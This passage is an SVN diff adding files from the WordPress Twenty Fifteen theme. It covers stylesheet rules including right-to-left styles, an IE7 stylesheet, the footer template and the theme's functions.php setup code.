+	padding: 0.7188em 0;
+}
+
+.widget_categories .children,
+.widget_nav_menu .sub-menu,
+.widget_pages .children {
+	margin: 0.7188em 0 0 1em;
+	padding-top: 0.7188em;
+}
+
+.widget_rss li {
+	margin-bottom: 1.5em;
+}
+
+.widget_rss .rss-date,
+.widget_rss cite {
+	font-size: 13px;
+	line-height: 1.8462;
+}
+
+.widget .wp-caption-text,
+.widget .gallery-caption {
+	line-height: 1.5;
+	padding: 0.5em 0;
+}
+
+.hentry,
+.page-header,
+.page-content {
+	margin: 0 7.6923%;
+}
+
+.hentry + .hentry,
+.page-header + .hentry,
+.page-header + .page-content {
+	margin-top: 7.6923%;
+}
+
+.post-thumbnail {
+	margin-bottom: 2.9474em;
+}
+
+.entry-header {
+	padding: 0 9.0909%;
+}
+
+.entry-title,
+.widecolumn h2 {
+	font-size: 39px;
+	line-height: 1.2308;
+	margin-bottom: 1.2308em;
+}
+
+.entry-content,
+.entry-summary {
+	padding: 0 9.0909% 9.0909%;
+}
+
+.entry-content h1,
+.entry-summary h1,
+.page-content h1,
+.comment-content h1 {
+	font-size: 39px;
+	line-height: 1.2308;
+	margin-top: 1.641em;
+	margin-bottom: 0.8205em;
+}
+
+.entry-content h2,
+.entry-summary h2,
+.page-content h2,
+.comment-content h2 {
+	font-size: 32px;
+	line-height: 1.25;
+	margin-top: 2em;
+	margin-bottom: 1em;
+}
+
+.entry-content h3,
+.entry-summary h3,
+.page-content h3,
+.comment-content h3 {
+	font-size: 27px;
+	line-height: 1.1852;
+	margin-top: 2.3704em;
+	margin-bottom: 1.1852em;
+}
+
+.entry-content h4,
+.entry-summary h4,
+.page-content h4,
+.comment-content h4 {
+	font-size: 22px;
+	line-height: 1.4545;
+	margin-top: 2.9091em;
+	margin-bottom: 1.4545em;
+}
+
+.entry-content h5,
+.entry-content h6,
+.entry-summary h5,
+.entry-summary h6,
+.page-content h5,
+.page-content h6,
+.comment-content h5,
+.comment-content h6 {
+	font-size: 19px;
+	line-height: 1.2632;
+	margin-top: 3.3684em;
+	margin-bottom: 1.6842em;
+}
+
+.entry-content .more-link:after {
+	font-size: 24px;
+	top: 3px;
+}
+
+.author-info {
+	margin: 0 9.0909%;
+	padding: 9.0909% 0;
+}
+
+.author-info .avatar {
+	margin: 0 1.6842em 1.6842em 0;
+	width: 56px;
+	height: 56px;
+}
+
+.author-link:after {
+	font-size: 24px;
+	top: 0;
+}
+
+.entry-footer {
+	padding: 4.5454% 9.0909%;
+}
+
+.posted-on:before,
+.byline:before,
+.cat-links:before,
+.tags-links:before,
+.comments-link:before,
+.entry-format:before,
+.edit-link:before,
+.full-size-link:before {
+	top: 4px;
+}
+
+.updated {
+	display: none;
+}
+
+.updated.published {
+	display: inline;
+}
+
+.page-header {
+	border-color: inherit;
+	border-style: solid;
+	border-width: 0 0 0 7px;
+	padding: 3.8461% 7.6923%;
+}
+
+.page-title,
+.taxonomy-description {
+	margin-left: -7px;
+}
+
+.taxonomy-description {
+	padding-top: 0.4211em;
+}
+
+.page-title,
+.comments-title,
+.comment-reply-title,
+.post-navigation .post-title {
+	font-size: 27px;
+	line-height: 1.1852;
+}
+
+.page-content {
+	padding: 7.6923%;
+}
+
+.page-links {
+	margin-bottom: 1.4736em;
+}
+
+.page-links a,
+.page-links > span {
+	margin: 0 0.25em 0.25em 0;
+}
+
+.format-aside .entry-title,
+.format-image .entry-title,
+.format-video .entry-title,
+.format-quote .entry-title,
+.format-gallery .entry-title,
+.format-status .entry-title,
+.format-link .entry-title,
+.format-audio .entry-title,
+.format-chat .entry-title {
+	font-size: 22px;
+	line-height: 1.4545;
+	margin-bottom: 32px;
+}
+
+.format-link .entry-title a:after {
+	top: 0.125em;
+}
+
+.comments-title {
+	margin-bottom: 1.4545em;
+}
+
+.comment-list article,
+.comment-list .pingback,
+.comment-list .trackback {
+	padding: 1.6842em 0;
+}
+
+.comment-list + .comment-respond,
+.comment-navigation + .comment-respond {
+	padding-top: 1.6842em;
+}
+
+.comment-list .children > li {
+	padding-left: 1.4737em;
+}
+
+.comment-meta {
+	position: relative;
+}
+
+.comment-author {
+	margin-bottom: 0;
+	padding-left: 4.6315em;
+}
+
+.comment-author .avatar {
+	margin: 0;
+	position: absolute;
+	top: 3px;
+	left: 0;
+	width: 56px;
+	height: 56px;
+}
+
+.comment-metadata {
+	line-height: 2;
+	padding-left: 5.5em;
+}
+
+.comment-metadata .edit-link:before,
+.pingback .edit-link:before {
+	top: 8px;
+}
+
+.bypostauthor > article .fn:after {
+	top: 8px;
+	left: 6px;
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 0 1.6842em 0;
+}
+
+.comment-content li > ul,
+.comment-content li > ol,
+.comment-content blockquote > ul,
+.comment-content blockquote > ol {
+	margin-left: 1.3333em;
+}
+
+.comment-list .reply a {
+	padding: 0.4375em 0.875em;
+}
+
+.comment-form,
+.no-comments {
+	padding-top: 1.6842em;
+}
+
+.comment-reply-title small a:before {
+	top: -1px;
+}
+
+.comment-list .reply {
+	margin-top: 0;
+}
+
+.site-footer {
+	border-top: 1px solid transparent;
+	border-bottom: 1px solid transparent;
+	margin: 0 auto;
+	max-width: 806px;
+	padding: 0;
+}
+
+.site-info {
+	margin: 4.5454% 9.0909%;
+}
+
+.post-navigation {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+}
+
+.post-navigation a {
+	padding: 4.5454% 9.0909%;
+}
+
+.pagination {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+	padding: 0;
+}
+
+.pagination .page-numbers {
+	display: inline-block;
+}
+
+.pagination .meta-nav {
+	display: none;
+}
+
+.image-navigation {
+	padding: 0 9.0909%;
+}
+
+.comments-area {
+	border-top: 0;
+	margin: 7.6923% 7.6923% 0;
+}
+
+embed,
+iframe,
+object,
+video {
+	margin-bottom: 1.6842em;
+}
+
+.wp-audio-shortcode,
+.wp-video,
+.wp-playlist.wp-audio-playlist {
+	font-size: 19px;
+	margin-bottom: 1.6842em;
+}
+
+.wp-caption,
+.gallery {
+	margin-bottom: 1.6842em;
+}
+
+.wp-caption-text,
+.gallery-caption {
+	padding: 0.5em 0;
+}
+
+.widecolumn {
+	margin: 7.6923%;
+}
+
+.widecolumn .mu_alert {
+	margin-bottom: 1.6842em;
+}
+
+.widecolumn p {
+	margin: 1.6842em 0;
+}
+
+.widecolumn p + h2 {
+	margin-top: 1.641em;
+}
+
+.widecolumn #key,
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #blogname,
+.widecolumn .mu_register #user_name {
+	font-size: 19px;
+}
+
+.widecolumn .mu_register #blog_title,
+.widecolumn .mu_register #user_email,
+.widecolumn .mu_register #user_name {
+	margin: 0 0 0.421em;
+}
+
+
+/**
+ * RTL
+ */
+
+.rtl ul,
+.rtl ol {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl li > ul,
+.rtl li > ol,
+.rtl blockquote > ul,
+.rtl blockquote > ol {
+	margin-right: 1.3333em;
+	margin-left: auto;
+}
+
+.rtl blockquote {
+	border-width: 0 4px 0 0;
+	margin-right: -1.0909em;
+	margin-left: auto;
+	padding-right: 0.9091em;
+	padding-left: 0;
+}
+
+.rtl blockquote > blockquote {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .main-navigation ul ul {
+	margin-right: 1em;
+	margin-left: auto;
+}
+
+.rtl .main-navigation .menu-item-has-children > a {
+	padding-right: 0;
+	padding-left: 48px;
+}
+
+.rtl .secondary-toggle {
+	right: auto;
+	left: 7.6897%;
+}
+
+.rtl .image-navigation .nav-previous,
+.rtl .comment-navigation .nav-previous {
+	float: right;
+}
+
+.rtl .image-navigation .nav-next,
+.rtl .comment-navigation .nav-next {
+	float: left;
+	text-align: left;
+}
+
+.rtl blockquote.alignright,
+.rtl .wp-caption.alignright,
+.rtl img.alignright {
+	margin: 0.4211em 0 1.6842em 1.6842em;
+}
+
+.rtl blockquote.alignleft,
+.rtl .wp-caption.alignleft,
+.rtl img.alignleft {
+	margin: 0.4211em 1.6842em 1.6842em 0;
+}
+
+.rtl .widget blockquote {
+	margin-right: -1.2632em;
+	margin-left: auto;
+	padding-right: 1.0526em;
+	padding-left: 0;
+}
+
+.rtl .widget blockquote > blockquote {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .widget_categories .children,
+.rtl .widget_nav_menu .sub-menu,
+.rtl .widget_pages .children {
+	margin: 0.7188em 1em 0 0;
+}
+
+.rtl .page-links a,
+.rtl .page-links > span {
+	margin: 0 0 0.25em 0.25em;
+}
+
+.rtl .author-info .avatar {
+	margin: 0 0 1.6842em 1.6842em;
+}
+
+.rtl .page-header {
+	border-width: 0 7px 0 0;
+}
+
+.rtl .page-title,
+.rtl .taxonomy-description {
+	margin-right: -7px;
+	margin-left: auto;
+}
+
+.rtl .comment-list .children > li {
+	padding-right: 1.4737em;
+	padding-left: 0;
+}
+
+.rtl .comment-author {
+	padding-right: 4.6315em;
+	padding-left: 0;
+}
+
+.rtl .comment-author .avatar {
+	right: 0;
+	left: auto;
+}
+
+.rtl .comment-content ul,
+.rtl .comment-content ol {
+	margin-right: 0;
+	margin-left: auto;
+}
+
+.rtl .comment-content li > ul,
+.rtl .comment-content li > ol,
+.rtl .comment-content blockquote > ul,
+.rtl .comment-content blockquote > ol {
+	margin-right: 1.3333em;
+	margin-left: auto;
+}
+
+.rtl .comment-metadata {
+	padding-right: 5.5em;
+	padding-left: 0;
+}
+
+.rtl .bypostauthor > article .fn:after {
+	right: 6px;
+	left: auto;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie7.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie7.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/css/ie7.css	(revision 56912)
@@ -0,0 +1,89 @@
+/*
+Theme Name: Twenty Fifteen
+Description: IE7 specific style.
+*/
+
+.screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+
+.secondary-toggle {
+	color: #333;
+	font-size: 16px;
+	line-height: 60px;
+	width: auto;
+}
+
+.pagination .prev,
+.pagination .next {
+	font-size: 16px;
+	font-weight: 700;
+	line-height: 64px;
+	padding: 0 19px;
+	width: auto;
+}
+
+.image-navigation,
+.comment-navigation {
+	width: 662px;
+}
+
+.post-navigation {
+	text-align: left;
+}
+
+.site-main {
+	text-align: center;
+}
+
+.hentry {
+	margin-bottom: 7.6923%;
+	text-align: left;
+	width: 808px;
+}
+
+.page-header {
+	margin-bottom: 7.6923%;
+	text-align: left;
+}
+
+.comments-area {
+	text-align: left;
+}
+
+.comment-list,
+.comment-navigation {
+	margin-bottom: 1.6471em;
+}
+
+.gallery-columns-2 .gallery-item {
+	max-width: 48%;
+}
+
+.gallery-columns-3 .gallery-item {
+	max-width: 31%;
+}
+
+.gallery-columns-4 .gallery-item {
+	max-width: 22%;
+}
+
+.gallery-columns-5 .gallery-item {
+	max-width: 17%;
+}
+
+.gallery-columns-6 .gallery-item {
+	max-width: 13.5%;
+}
+
+.gallery-columns-7 .gallery-item {
+	max-width: 11%;
+}
+
+.gallery-columns-8 .gallery-item {
+	max-width: 9.5%;
+}
+
+.gallery-columns-9 .gallery-item {
+	max-width: 8%;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/footer.php	(revision 56912)
@@ -0,0 +1,41 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains the closing of the "site-content" div and all content after.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+?>
+
+	</div><!-- .site-content -->
+
+	<footer id="colophon" class="site-footer" role="contentinfo">
+		<div class="site-info">
+			<?php
+				/**
+				 * Fires before the Twenty Fifteen footer text for footer customization.
+				 *
+				 * @since Twenty Fifteen 1.0
+				 */
+				do_action( 'twentyfifteen_credits' );
+			?>
+			<?php
+			if ( function_exists( 'the_privacy_policy_link' ) ) {
+				the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+			}
+			?>
+			<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentyfifteen' ) ); ?>" class="imprint">
+				<?php printf( __( 'Proudly powered by %s', 'twentyfifteen' ), 'WordPress' ); ?>
+			</a>
+		</div><!-- .site-info -->
+	</footer><!-- .site-footer -->
+
+</div><!-- .site -->
+
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/functions.php	(revision 56912)
@@ -0,0 +1,517 @@
+<?php
+/**
+ * Twenty Fifteen functions and definitions
+ *
+ * Set up the theme and provides some helper functions, which are used in the
+ * theme as custom template tags. Others are attached to action and filter
+ * hooks in WordPress to change core functionality.
+ *
+ * When using a child theme you can override certain functions (those wrapped
+ * in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before
+ * the parent theme's file, so the child theme functions would be used.
+ *
+ * @link https://codex.wordpress.org/Theme_Development
+ * @link https://codex.wordpress.org/Child_Themes
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are
+ * instead attached to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters,
+ * {@link https://codex.wordpress.org/Plugin_API}
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fifteen
+ * @since Twenty Fifteen 1.0
+ */
+
+/**
+ * Set the content width based on the theme's design and stylesheet.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+if ( ! isset( $content_width ) ) {
+	$content_width = 660;
+}
+
+/**
+ * Twenty Fifteen only works in WordPress 4.1 or later.
+ */
+if ( version_compare( $GLOBALS['wp_version'], '4.1-alpha', '<' ) ) {
+	require get_template_directory() . '/inc/back-compat.php';
+}
+
+if ( ! function_exists( 'twentyfifteen_setup' ) ) :
+/**
+ * Sets up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which
+ * runs before the init hook. The init hook is too late for some features, such
+ * as indicating support for post thumbnails.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_setup() {
+
+	/*
+	 * Make theme available for translation.
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyfifteen
+	 * If you're building a theme based on twentyfifteen, use a find and replace
+	 * to change 'twentyfifteen' to the name of your theme in all the template files
+	 */
+	load_theme_textdomain( 'twentyfifteen' );
+
+	// Add default posts and comments RSS feed links to head.
+	add_theme_support( 'automatic-feed-links' );
+
+	/*
+	 * Let WordPress manage the document title.
+	 * By adding theme support, we declare that this theme does not use a
+	 * hard-coded <title> tag in the document head, and expect WordPress to
+	 * provide it for us.
+	 */
+	add_theme_support( 'title-tag' );
+
+	/*
+	 * Enable support for Post Thumbnails on posts and pages.
+	 *
+	 * See: https://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails
+	 */
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 825, 510, true );
+
+	// This theme uses wp_nav_menu() in two locations.
+	register_nav_menus( array(
+		'primary' => __( 'Primary Menu',      'twentyfifteen' ),
+		'social'  => __( 'Social Links Menu', 'twentyfifteen' ),
+	) );
+
+	/*
+	 * Switch default core markup for search form, comment form, and comments
+	 * to output valid HTML5.
+	 */
+	add_theme_support( 'html5', array(
+		'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
+	) );
+
+	/*
+	 * Enable support for Post Formats.
+	 *
+	 * See: https://codex.wordpress.org/Post_Formats
+	 */
+	add_theme_support( 'post-formats', array(
+		'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
+	) );
+
+	/*
+	 * Enable support for custom logo.
+	 *
+	 * @since Twenty Fifteen 1.5
+	 */
+	add_theme_support( 'custom-logo', array(
+		'height'      => 248,
+		'width'       => 248,
+		'flex-height' => true,
+	) );
+
+	$color_scheme  = twentyfifteen_get_color_scheme();
+	$default_color = trim( $color_scheme[0], '#' );
+
+	// Setup the WordPress core custom background feature.
+
+	/**
+	 * Filter Twenty Fifteen custom-header support arguments.
+	 *
+	 * @since Twenty Fifteen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type string $default-color     		Default color of the header.
+	 *     @type string $default-attachment     Default attachment of the header.
+	 * }
+	 */
+	add_theme_support( 'custom-background', apply_filters( 'twentyfifteen_custom_background_args', array(
+		'default-color'      => $default_color,
+		'default-attachment' => 'fixed',
+	) ) );
+
+	/*
+	 * This theme styles the visual editor to resemble the theme style,
+	 * specifically font, colors, icons, and column width.
+	 */
+	add_editor_style( array( 'css/editor-style.css', 'genericons/genericons.css', twentyfifteen_fonts_url() ) );
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Dark Gray', 'twentyfifteen' ),
+			'slug'  => 'dark-gray',
+			'color' => '#111',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentyfifteen' ),
+			'slug'  => 'light-gray',
+			'color' => '#f1f1f1',
+		),
+		array(
+			'name'  => __( 'White', 'twentyfifteen' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+		array(
+			'name'  => __( 'Yellow', 'twentyfifteen' ),
+			'slug'  => 'yellow',
+			'color' => '#f4ca16',
+		),
+		array(
+			'name'  => __( 'Dark Brown', 'twentyfifteen' ),
+			'slug'  => 'dark-brown',
+			'color' => '#352712',
+		),
+		array(
+			'name'  => __( 'Medium Pink', 'twentyfifteen' ),
+			'slug'  => 'medium-pink',
+			'color' => '#e53b51',
+		),
+		array(
+			'name'  => __( 'Light Pink', 'twentyfifteen' ),
+			'slug'  => 'light-pink',
+			'color' => '#ffe5d1',
+		),
+		array(
+			'name'  => __( 'Dark Purple', 'twentyfifteen' ),
+			'slug'  => 'dark-purple',
+			'color' => '#2e2256',
+		),
+		array(
+			'name'  => __( 'Purple', 'twentyfifteen' ),
+			'slug'  => 'purple',
+			'color' => '#674970',
+		),
+		array(
+			'name'  => __( 'Blue Gray', 'twentyfifteen' ),
+			'slug'  => 'blue-gray',
+			'color' => '#22313f',
+		),
+		array(
+			'name'  => __( 'Bright Blue', 'twentyfifteen' ),
+			'slug'  => 'bright-blue',
+			'color' => '#55c3dc',
+		),
+		array(
+			'name'  => __( 'Light Blue', 'twentyfifteen' ),
+			'slug'  => 'light-blue',
+			'color' => '#e9f2f9',
+		),
+	) );
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+endif; // twentyfifteen_setup
+add_action( 'after_setup_theme', 'twentyfifteen_setup' );
+
+/**
+ * Register widget area.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @link https://codex.wordpress.org/Function_Reference/register_sidebar
+ */
+function twentyfifteen_widgets_init() {
+	register_sidebar( array(
+		'name'          => __( 'Widget Area', 'twentyfifteen' ),
+		'id'            => 'sidebar-1',
+		'description'   => __( 'Add widgets here to appear in your sidebar.', 'twentyfifteen' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget'  => '</aside>',
+		'before_title'  => '<h2 class="widget-title">',
+		'after_title'   => '</h2>',
+	) );
+}
+add_action( 'widgets_init', 'twentyfifteen_widgets_init' );
+
+if ( ! function_exists( 'twentyfifteen_fonts_url' ) ) :
+/**
+ * Register Google fonts for Twenty Fifteen.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @return string Google fonts URL for the theme.
+ */
+function twentyfifteen_fonts_url() {
+	$fonts_url = '';
+	$fonts     = array();
+	$subsets   = 'latin,latin-ext';
+
+	/*
+	 * Translators: If there are characters in your language that are not supported
+	 * by Noto Sans, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Noto Sans font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Noto Sans:400italic,700italic,400,700';
+	}
+
+	/*
+	 * Translators: If there are characters in your language that are not supported
+	 * by Noto Serif, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Noto Serif font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Noto Serif:400italic,700italic,400,700';
+	}
+
+	/*
+	 * Translators: If there are characters in your language that are not supported
+	 * by Inconsolata, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Inconsolata font: on or off', 'twentyfifteen' ) ) {
+		$fonts[] = 'Inconsolata:400,700';
+	}
+
+	/*
+	 * Translators: To add an additional character subset specific to your language,
+	 * translate this to 'greek', 'cyrillic', 'devanagari' or 'vietnamese'. Do not translate into your own language.
+	 */
+	$subset = _x( 'no-subset', 'Add new subset (greek, cyrillic, devanagari, vietnamese)', 'twentyfifteen' );
+
+	if ( 'cyrillic' == $subset ) {
+		$subsets .= ',cyrillic,cyrillic-ext';
+	} elseif ( 'greek' == $subset ) {
+		$subsets .= ',greek,greek-ext';
+	} elseif ( 'devanagari' == $subset ) {
+		$subsets .= ',devanagari';
+	} elseif ( 'vietnamese' == $subset ) {
+		$subsets .= ',vietnamese';
+	}
+
+	if ( $fonts ) {
+		$fonts_url = add_query_arg( array(
+			'family' => urlencode( implode( '|', $fonts ) ),
+			'subset' => urlencode( $subsets ),
+		), 'https://fonts.googleapis.com/css' );
+	}
+
+	return $fonts_url;
+}
+endif;
+
+/**
+ * JavaScript Detection.
+ *
+ * Adds a `js` class to the root `<html>` element when JavaScript is detected.
+ *
+ * @since Twenty Fifteen 1.1
+ */
+function twentyfifteen_javascript_detection() {
+	echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
+}
+add_action( 'wp_head', 'twentyfifteen_javascript_detection', 0 );
+
+/**
+ * Enqueue scripts and styles.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+function twentyfifteen_scripts() {
+	// Add custom fonts, used in the main stylesheet.
+	wp_enqueue_style( 'twentyfifteen-fonts', twentyfifteen_fonts_url(), array(), null );
+
+	// Add Genericons, used in the main stylesheet.
+	wp_enqueue_style( 'genericons', get_template_directory_uri() . '/genericons/genericons.css', array(), '3.2' );
+
+	// Load our main stylesheet.
+	wp_enqueue_style( 'twentyfifteen-style', get_stylesheet_uri() );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentyfifteen-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentyfifteen-style' ), '20181230' );
+
+	// Load the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentyfifteen-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentyfifteen-style' ), '20141010' );
+	wp_style_add_data( 'twentyfifteen-ie', 'conditional', 'lt IE 9' );
+
+	// Load the Internet Explorer 7 specific stylesheet.
+	wp_enqueue_style( 'twentyfifteen-ie7', get_template_directory_uri() . '/css/ie7.css', array( 'twentyfifteen-style' ), '20141010' );
+	wp_style_add_data( 'twentyfifteen-ie7', 'conditional', 'lt IE 8' );
+
+	wp_enqueue_script( 'twentyfifteen-skip-link-focus-fix', get_template_directory_uri() . '/js/skip-link-focus-fix.js', array(), '20141010', true );
+
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
+		wp_enqueue_script( 'comment-reply' );
+	}
+
+	if ( is_singular() && wp_attachment_is_image() ) {
+		wp_enqueue_script( 'twentyfifteen-keyboard-image-navigation', get_template_directory_uri() . '/js/keyboard-image-navigation.js', array( 'jquery' ), '20141010' );
+	}
+
+	wp_enqueue_script( 'twentyfifteen-script', get_template_directory_uri() . '/js/functions.js', array( 'jquery' ), '20150330', true );
+	wp_localize_script( 'twentyfifteen-script', 'screenReaderText', array(
+		'expand'   => '<span class="screen-reader-text">' . __( 'expand child menu', 'twentyfifteen' ) . '</span>',
+		'collapse' => '<span class="screen-reader-text">' . __( 'collapse child menu', 'twentyfifteen' ) . '</span>',
+	) );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_scripts' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Fifteen 2.1
+ */
+function twentyfifteen_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentyfifteen-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentyfifteen-fonts', twentyfifteen_fonts_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentyfifteen_block_editor_styles' );
+
+
+/**
+ * Add preconnect for Google Fonts.
+ *
+ * @since Twenty Fifteen 1.7
+ *
+ * @param array   $urls          URLs to print for resource hints.
+ * @param string  $relation_type The relation type the URLs are printed.
+ * @return array URLs to print for resource hints.
+ */
+function twentyfifteen_resource_hints( $urls, $relation_type ) {
+	if ( wp_style_is( 'twentyfifteen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
+		if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
+			$urls[] = array(
+				'href' => 'https://fonts.gstatic.com',
+				'crossorigin',
+			);
+		} else {
+			$urls[] = 'https://fonts.gstatic.com';
+		}
+	}
+
+	return $urls;
+}
+add_filter( 'wp_resource_hints', 'twentyfifteen_resource_hints', 10, 2 );
+
+/**
+ * Add featured image as background image to post navigation elements.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentyfifteen_post_nav_background() {
+	if ( ! is_single() ) {
+		return;
+	}
+
+	$previous = ( is_attachment() ) ? get_post( get_post()->post_parent ) : get_adjacent_post( false, '', true );
+	$next     = get_adjacent_post( false, '', false );
+	$css      = '';
+
+	if ( is_attachment() && 'attachment' == $previous->post_type ) {
+		return;
+	}
+
+	if ( $previous &&  has_post_thumbnail( $previous->ID ) ) {
+		$prevthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $previous->ID ), 'post-thumbnail' );
+		$css .= '
+			.post-navigation .nav-previous { background-image: url(' . esc_url( $prevthumb[0] ) . '); }
+			.post-navigation .nav-previous .post-title, .post-navigation .nav-previous a:hover .post-title, .post-navigation .nav-previous .meta-nav { color: #fff; }
+			.post-navigation .nav-previous a:before { background-color: rgba(0, 0, 0, 0.4); }
+		';
+	}
+
+	if ( $next && has_post_thumbnail( $next->ID ) ) {
+		$nextthumb = wp_get_attachment_image_src( get_post_thumbnail_id( $next->ID ), 'post-thumbnail' );
+		$css .= '
+			.post-navigation .nav-next { background-image: url(' . esc_url( $nextthumb[0] ) . '); border-top: 0; }
+			.post-navigation .nav-next .post-title, .post-navigation .nav-next a:hover .post-title, .post-navigation .nav-next .meta-nav { color: #fff; }
+			.post-navigation .nav-next a:before { background-color: rgba(0, 0, 0, 0.4); }
+		';
+	}
+
+	wp_add_inline_style( 'twentyfifteen-style', $css );
+}
+add_action( 'wp_enqueue_scripts', 'twentyfifteen_post_nav_background' );
+
+/**
+ * Display descriptions in main navigation.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string  $item_output The menu item output.
+ * @param WP_Post $item        Menu item object.
+ * @param int     $depth       Depth of the menu.
+ * @param array   $args        wp_nav_menu() arguments.
+ * @return string Menu item with possible description.
+ */
+function twentyfifteen_nav_description( $item_output, $item, $depth, $args ) {
+	if ( 'primary' == $args->theme_location && $item->description ) {
+		$item_output = str_replace( $args->link_after . '</a>', '<div class="menu-item-description">' . $item->description . '</div>' . $args->link_after . '</a>', $item_output );
+	}
+
+	return $item_output;
+}
+add_filter( 'walker_nav_menu_start_el', 'twentyfifteen_nav_description', 10, 4 );
+
+/**
+ * Add a `screen-reader-text` class to the search form's submit button.
+ *
+ * @since Twenty Fifteen 1.0
+ *
+ * @param string $html Search form HTML.
+ * @return string Modified search form HTML.
+ */
+function twentyfifteen_search_form_modify( $html ) {
+	return str_replace( 'class="search-submit"', 'class="search-submit screen-reader-text"', $html );
+}
+add_filter( 'get_search_form', 'twentyfifteen_search_form_modify' );
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Fifteen 1.9
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentyfifteen_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentyfifteen_widget_tag_cloud_args' );
+
+
+/**
+ * Implement the Custom Header feature.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/custom-header.php';
+
+/**
+ * Custom template tags for this theme.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/template-tags.php';
+
+/**
+ * Customizer additions.
+ *
+ * @since Twenty Fifteen 1.0
+ */
+require get_template_directory() . '/inc/customizer.php';
Index: /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyfifteen/genericons/COPYING.txt	(revision 56912)
@@ -0,0 +1,9 @@
